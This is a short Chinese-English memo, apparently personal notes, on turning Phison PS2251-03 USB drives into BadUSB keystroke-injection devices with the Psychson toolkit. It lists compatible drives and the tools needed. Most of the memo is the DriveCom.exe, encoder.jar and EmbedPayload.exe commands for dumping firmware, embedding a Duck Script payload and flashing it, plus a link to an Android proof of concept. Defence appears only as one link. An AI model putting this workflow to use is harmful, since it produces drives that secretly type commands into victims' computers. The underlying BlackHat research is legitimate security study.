BadUSB memo

支持的设备

  • Patriot 8GB Supersonic Xpress*
  • Kingston DataTraveler 3.0 T111 8GB
  • Silicon power marvel M60 64GB
  • Patriot Stellar 64 Gb Phison
  • Toshiba TransMemory-MX USB 3.0 16GB (May ship with 2307)
  • Toshiba TransMemory-MX USB 3.0 8GB
  • Kingston DataTraveler G4 64 GB
  • Patriot PSF16GXPUSB Supersonic Xpress 16GB
  • Silicon Power 32GB Blaze B30 (SP032GBUF3B30V1K)
  • Kingston Digital 8GB USB 3.0 DataTraveler (DT100G3/8GB)* - Using PS2251-03 (By the way, the DriveCom.exe does not work for it, you need use Phison MPALL Tools to burn the firmware.)

重点在于使用群联(Phison)的芯片,型号最好是PS2251-03(2303)

Also note that if you buy a confirmed device, you might not end up with one with the PS2251-03, as manufacturers seem to use different controllers even with same device models.

配置环境

  1. VS2012 或以上
  2. SDCC 安装路径 C:\Program Files\SDCC
  3. Java
  4. U盘量产工具 Phison MPALL v3.72.0B.zip (可选)
  5. [ChipGenius] ChipGenius_v4_00_0027_pre2.exe

准备工作

  • 编译 C:\Psychson-master\DriveCom
  • 编译 C:\Psychson-master\EmbedPayload
  • 编译 C:\Psychson-master\Injector

工具会自动生成在TOOLs目录下

查看固件版本信息

CMD工具

1
2
DriveCom.exe /drive=u盘盘符 /action=GetInfo
DriveCom.exe /drive=G /action=GetInfo

Phison MPALL

打开 Phison MPALL v3.72.0B.zip 里的 GetInfo.exe,输入盘符 G, 点击 Read

ChipGenius

直接用该工具查看

编译固件

1
/firmware/build.bat

备份固件

1
DriveCom.exe /drive=E /action=DumpFirmware /burner=BN03V104M.BIN /firmware=fw.bin

BN03V104M.BIN 是 burner image(烧录器镜像)的名字
fw.bin 是 生成的firmware dump.

Duck Script

1
java -jar encoder.jar -i keys.txt -o inject.bin

合成

hid.bin 是用户自定义的固件。
可能报错 signature not found错误

1
EmbedPayload.exe inject.bin hid.bin

设置U盘模式 写入固件

1
DriveCom.exe /drive=盘符 /action=SetBootMode #设置U盘模式

如果软件模式更改不了BOOT模式,可以拆开U盘使用短接的办法来设置[9]

烧录

DriveCom.exe /drive=G /action=SendFirmware /burner=BN03V104M.BIN /firmware=hid.bin

tools\DriveCom.exe /drive=盘符 /action=SendFirmware /burner=C:\Psychson-master\BN03V104M.BIN /firmware=C:\Psychson-master\firmware\bin\fw.bin#刷入固件跟载荷 /firmware=是刚才我们通过 EmbedPayload.exe装入了载荷的固件

总结

  1. 编译工具
  2. 生成Duck Script 的二进制文件
  3. 合并二进制文件
  4. 烧录到U盘

方便起见可以购买现成产品, USB-Rubber-Ducky 以及 国产的烧鹅等。

进一步阅读 Android USB

Android设备的POC代码下载地址为:

https://srlabs.de/blog/wp-content/uploads/2014/07/BadAndroid-v0.1.zip

防御

http://drops.wooyun.org/tips/9336

参考资料

[1] 俄语的视频解说
[2] BlackHat 演讲: BadUSB - On Accessories that Turn Evil by Karsten Nohl + Jakob Lell
[3] 解密BadUSB:世界上最邪恶的USB外设
[4] SRLab BadUSB BlackHat PDF
[5] SDCC 下载
[6] U盘量产工具
[7] adamcaudill/Psychson
[8] Duck Script Payload
[9] 手动短接U盘引脚
[10] CSDN 参考步骤
[11] Burner 列表 Additional Files PS2251-03
[12] 插入U盘自动攻击:BadUSB原理与实现(含视频) - freebuf
[13] BadUSB的前世今生:USB RUBBER DUCKY和Teensy USB